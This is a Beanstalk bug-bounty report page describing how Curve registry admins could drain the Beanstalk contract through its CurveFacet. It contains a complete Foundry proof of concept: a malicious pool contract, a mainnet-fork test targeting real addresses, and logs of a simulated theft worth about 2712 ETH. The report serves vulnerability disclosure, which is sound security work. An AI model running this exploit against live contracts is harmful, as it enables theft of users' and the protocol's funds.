Beanstalk Notion
Beanstalk Notion
/
🪲
Bug Reports
/
BIC Notes
/
📄
Report #31820
📄

Report #31820

Report Date
May 29, 2024
Status
Closed
Payout

Curve deployers are able to drain Beanstalk protocol funds

‣
Report Info

Report ID

#31820

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Impacts

Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

Description

Curve deployers are able to drain Beanstalk protocol funds.

Vulnerability Details

Beanstalk allows to exchange tokens through Curve pools using the CurveFacet facet. This allows an attacker to specify a pool address, which is not explicitly validated. Rather, it is implicitly validated in the getCoins() method:

For the STABLE_REGISTRY, new Curve pool implementations can only be added by the Curve DAO. This mechanism is implemented through Aragon. For the CURVE_REGISTRY and the CRYPTO_REGISTRY however, control over the ability to add new pools (including implementation) is delegated to a ProxyAdmin contract (0xEdf2C58E16Cc606Da1977e79E1e69e79C54fe242). This contract is not implementing a multi-sig, but rather allows either of two admin addresses to control the CURVE_REGISTRY and the CRYPTO_REGISTRY. These addresses, which are EOAs, are also called "Curve deployers". They are not related to the Beanstalk protocol at all, but implicitly trusted.

However, the ability to add arbitrary pool implementations has catastrophic effects for Beanstalk: The Curve facet completely trusts the return values of the pool implementations. Hence a malicious pool implementation could be used by any of these two admins -- or anyone gaining access to the corresponding private keys for that matter -- to all token balances from the Beanstalk contract.

Impact Details

The two deployer (admin) addresses (0xE6DA683076b7eD6ce7eC972f21Eb8F91e9137a17 and 0xbabe61887f1de2713c6f97e567623453d3C79f67) listed in the Curve ProxyAdmin contract (0xEdf2C58E16Cc606Da1977e79E1e69e79C54fe242) can drain the entire balance of any token of the Beanstalk contract. In the following we look at draining the BEAN balance, since this is the largest:

Converting the drained BEANs through the BEAN:WETH well yields 2712.5 ETH, which amounts to more than 10.3 million USD at the time of submitting this report.

Proposed fix

The Curve facet should always check that any amountOut/amountOuts values that are returned by Curve pools matches the actual token balance increase. This requires adding checks in exchange(), exchangeUnderlying(), removeLiquidity(), removeLiquidityImbalance() and removeLiquidityOneToken() of the CurveFacet.

References

https://github.com/BeanstalkFarms/Beanstalk/blob/8c3c81e3cd865fec22a6166bf16895cc45531d4e/protocol/contracts/beanstalk/farm/CurveFacet.sol

Proof of concept

The PoC uses Foundry.

Create a new directory and run forge init in this directory. Add the following three files below (foundry.toml, src/MaliciousPool.sol and test/BeanStalkCurveDeployerTest.sol) and then run forge test -vvv.

Please note that the line evm_version='shanghai' is required in foundry.toml as the Beanstalk contracts use the PUSH0 opcode.

foundry.toml:

foundry.toml
[profile.default]
src = "src"
out = "out"
libs = ["lib"]

# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
evm_version = 'shanghai'

src/MaliciousPool.sol:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;

contract MaliciousPool {
    address[2] public coins;

    constructor(address[2] memory _coins) {
	coins = _coins;
    }

    function exchange(uint256 /* i */, uint256 /* j */, uint256 /* dx */, uint256 min_dy) external pure returns (uint256) {
	return min_dy;
    }
}

test/BeanStalkCurveDeployerTest.sol:

BIC Response

This is not a valid bug report because it is a known risk of using Curve. This is not an issue with the Beanstalk contracts. This is a similar trust assumption that Beanstalk makes with Chainlink's multisig, for example.

Due to these reasons, we are closing the submission and no reward will be issued.

function getCoins(address pool, address registry)
        private
        view
        returns (address[8] memory)
    {
        if (registry == STABLE_REGISTRY) {
            address[4] memory coins =  ICurveFactory(registry).get_coins(pool);
            return [coins[0], coins[1], coins[2], coins[3], address(0), address(0), address(0), address(0)];
        }
        require(registry == CURVE_REGISTRY ||
                registry == CRYPTO_REGISTRY,
                "Curve: Not valid registry"
        );
        return ICurveCryptoFactory(registry)
            .get_coins(pool);
    }
user@mbp14 beanstalk-poc % forge test -vvv --mc BeanstalkCurveDeployerTest
[â ’] Compiling...
[â ’] Compiling 25 files with 0.8.21
[â ¢] Solc 0.8.21 finished in 958.78ms
Compiler run successful!

Ran 1 test for test/BeanStalkCurveDeployerTest.sol:BeanstalkCurveDeployerTest
[PASS] testCurveDeployerDrain() (gas: 958489)
Logs:
  forking Ethereum mainnet at block  19975257
  BEAN balance before exploit =  0
  BEAN balance after exploit =  30058101440654
  WETH balance after cashing out BEANs =  2712511548110503680652

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 511.48ms (4.42ms CPU time)

Ran 1 test suite in 662.12ms (511.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
user@mbp14 beanstalk-poc %
// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

import "src/MaliciousPool.sol";
import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";

library LibTransfer {
    enum From {
        EXTERNAL,
        INTERNAL,
        EXTERNAL_INTERNAL,
        INTERNAL_TOLERANT
    }

    enum To {
        EXTERNAL,
        INTERNAL
    }
}

interface ICurveProxyAdmin {
    function execute(address target, bytes memory cdata) external;
}

interface IBeanstalkCurveFacet {
    function exchange(
		      address pool,
		      address registry,
		      address fromToken,
		      address toToken,
		      uint256 amountIn,
		      uint256 minAmountOut,
		      LibTransfer.From fromMode,
		      LibTransfer.To toMode
		      ) external payable;
}

interface ICurveRegistry {
    function add_pool_without_underlying(
		      address pool,
		      uint256 n_coins,
		      address lp_token,
		      bytes32 rate_info,
		      uint256 decimals,
		      uint256 underlying_decimals,
		      bool has_initial_A,
		      bool is_v1,
		      string memory name) external;
}

interface IWell {
    function swapFrom(
        IERC20 fromToken,
        IERC20 toToken,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint256 deadline
    ) external returns (uint256 amountOut);
}

contract BeanstalkCurveDeployerTest is Test {
    IERC20 Bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
    IERC20 Weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IWell BeanEthWell = IWell(0xBEA0e11282e2bB5893bEcE110cF199501e872bAd);
    ICurveProxyAdmin curveProxyAdmin = ICurveProxyAdmin(0xEdf2C58E16Cc606Da1977e79E1e69e79C54fe242);

    address CURVE_REGISTRY = 0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5;
    address beanStalk = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    MaliciousPool myPool;

    function setUp() external {
	uint256 blocknum = 19975257;

	console.log("forking Ethereum mainnet at block ", blocknum);
        vm.createSelectFork("https://rpc.ankr.com/eth", blocknum);
    }

    function testCurveDeployerDrain() external {
	address[2] memory myCoins = [address(Bean), address(Weth)];

	uint256 fullBalance = Bean.balanceOf(address(beanStalk));

	console.log("BEAN balance before exploit = ", Bean.balanceOf(address(this)));

	myPool = new MaliciousPool(myCoins);

	bytes memory cdata = abi.encodeWithSelector(ICurveRegistry.add_pool_without_underlying.selector,
						    address(myPool), uint256(2), address(myPool), bytes32(0),
						    uint256(18), uint256(18), false, false, "");

	vm.prank(0xE6DA683076b7eD6ce7eC972f21Eb8F91e9137a17);
	curveProxyAdmin.execute(CURVE_REGISTRY, cdata);

	IBeanstalkCurveFacet(beanStalk).exchange(address(myPool), CURVE_REGISTRY, address(Weth), address(Bean), 0,
						 fullBalance, LibTransfer.From.EXTERNAL, LibTransfer.To.EXTERNAL);
	console.log("BEAN balance after exploit = ", Bean.balanceOf(address(this)));
	Bean.approve(address(BeanEthWell), Bean.balanceOf(address(this)));
	BeanEthWell.swapFrom(Bean, Weth, Bean.balanceOf(address(this)), 0, address(this), block.timestamp);
	console.log("WETH balance after cashing out BEANs = ", Weth.balanceOf(address(this)));
    }
}